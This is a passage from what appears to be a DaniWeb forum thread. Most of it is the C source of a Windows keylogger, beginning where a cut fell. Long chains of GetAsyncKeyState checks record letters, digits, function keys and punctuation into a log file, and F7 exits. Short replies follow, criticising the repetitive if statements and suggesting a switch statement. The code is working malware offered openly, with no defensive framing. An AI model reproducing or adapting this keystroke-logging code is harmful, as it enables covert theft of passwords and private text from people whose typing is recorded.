                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_ESCAPE)){
                   fprintf(keys,"%s","[ESC]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_CAPITAL)){
                   fprintf(keys,"%s","[CAPSLOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x25)){
                   fprintf(keys,"%s","");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x26)){
                   fprintf(keys,"%s","[UP]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x27)){
                   fprintf(keys,"%s","");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x28)){
                   fprintf(keys,"%s","[DOWN]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F1)){
                   fprintf(keys,"%s","[F1]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F2)){
                   fprintf(keys,"%s","[F2]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F3)){
                   fprintf(keys,"%s","[F3]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F4)){
                   fprintf(keys,"%s","[F4]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F5)){
                   fprintf(keys,"%s","[F5]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F6)){
                   fprintf(keys,"%s","[F6]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F7)){
                   return EXIT_SUCCESS;
                   }
                   
              if (GetAsyncKeyState (VK_F8)){
                   fprintf(keys,"%s","[F8]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F9)){
                   fprintf(keys,"%s","[F9]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F10)){
                   fprintf(keys,"%s","[F10]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F11)){
                   fprintf(keys,"%s","[F11]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F12)){
                   fprintf(keys,"%s","[F12]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD0)){
                   fprintf(keys,"%s","[NUMPAD-0]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD1)){
                   fprintf(keys,"%s","[NUMPAD-1]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD2)){
                   fprintf(keys,"%s","[NUMPAD-2]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD3)){
                   fprintf(keys,"%s","[NUMPAD-3]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD4)){
                   fprintf(keys,"%s","[NUMPAD-4]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD5)){
                   fprintf(keys,"%s","[NUMPAD-5]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD6)){
                   fprintf(keys,"%s","[NUMPAD-6]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD7)){
                   fprintf(keys,"%s","[NUMPAD-7]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD8)){
                   fprintf(keys,"%s","[NUMPAD-8]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD9)){
                   fprintf(keys,"%s","[NUMPAD-9]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MULTIPLY)){
                   fprintf(keys,"%s","[*]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DIVIDE)){
                   fprintf(keys,"%s","[/]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBB)){
                   fprintf(keys,"%s","[+]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBC)){
                   fprintf(keys,"%s",",");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBD)){
                   fprintf(keys,"%s","[-]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_1)){
                   fprintf(keys,"%s","[;:]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_2)){
                   fprintf(keys,"%s","[/?]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_4)){
                   fprintf(keys,"%s","[ [{ ]");
                   Sleep(100);
                   }                        
                   
              if (GetAsyncKeyState (VK_OEM_6)){
                   fprintf(keys,"%s","[ ]} ]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MENU)){
                   fprintf(keys,"%s","[ALT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_END)){
                   fprintf(keys,"%s","[END]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_HOME)){
                   fprintf(keys,"%s","[HOME]");
                   Sleep(100);
                   }
			  if  (GetAsyncKeyState(0x41)){
                     fprintf(keys,"%s","a");
                     Sleep(100);       
                     }
            
              if  (GetAsyncKeyState(0x42)){
                     fprintf(keys,"%s","b");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x43)){
                     fprintf(keys,"%s","c");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x44)){
                     fprintf(keys,"%s","d");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x45)){
                     fprintf(keys,"%s","e");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x46)){
                     fprintf(keys,"%s","f");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x47)){
                     fprintf(keys,"%s","g");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x48)){
                     fprintf(keys,"%s","h");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x49)){
                     fprintf(keys,"%s","i");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4a)){
                     fprintf(keys,"%s","j");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4b)){
                     fprintf(keys,"%s","k");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4c)){
                     fprintf(keys,"%s","l");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4d)){
                     fprintf(keys,"%s","m");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4e)){
                     fprintf(keys,"%s","n");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4f)){
                     fprintf(keys,"%s","o");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x50)){
                     fprintf(keys,"%s","p");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x51)){
                     fprintf(keys,"%s","q");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x52)){
                     fprintf(keys,"%s","r");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x53)){
                     fprintf(keys,"%s","s");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x54)){
                     fprintf(keys,"%s","t");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x55)){
                     fprintf(keys,"%s","u");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x56)){
                     fprintf(keys,"%s","v");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x57)){
                     fprintf(keys,"%s","w");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x58)){
                     fprintf(keys,"%s","x");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x59)){
                     fprintf(keys,"%s","y");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x5A)){
                     fprintf(keys,"%s","z");
                     Sleep(100);
                     }
                                
              if  (GetAsyncKeyState(VK_SPACE)){
                     fprintf(keys,"%s"," ");
                     Sleep(100);   
                     }                     
                                 
              if (GetAsyncKeyState (0x30)){
                   fprintf(keys,"%s","0");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x31)){
                   fprintf(keys,"%s","1");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x32)){
                   fprintf(keys,"%s","2");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x33)){
                   fprintf(keys,"%s","3");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x34)){
                   fprintf(keys,"%s","4");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x35)){
                   fprintf(keys,"%s","5");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x36)){
                   fprintf(keys,"%s","6");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x37)){
                   fprintf(keys,"%s","7");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x38)){
                   fprintf(keys,"%s","8");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x39)){
                   fprintf(keys,"%s","9");
                   Sleep(100);
                   }                 

}

fclose(keys);

}



       
	return 0;
}
commented: *flunk* -6

Man, isn't there an easier way than writing all those if statements?

Man, isn't there an easier way than writing all those if statements?

> Sure there is: Just use a switch statement :) ...

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.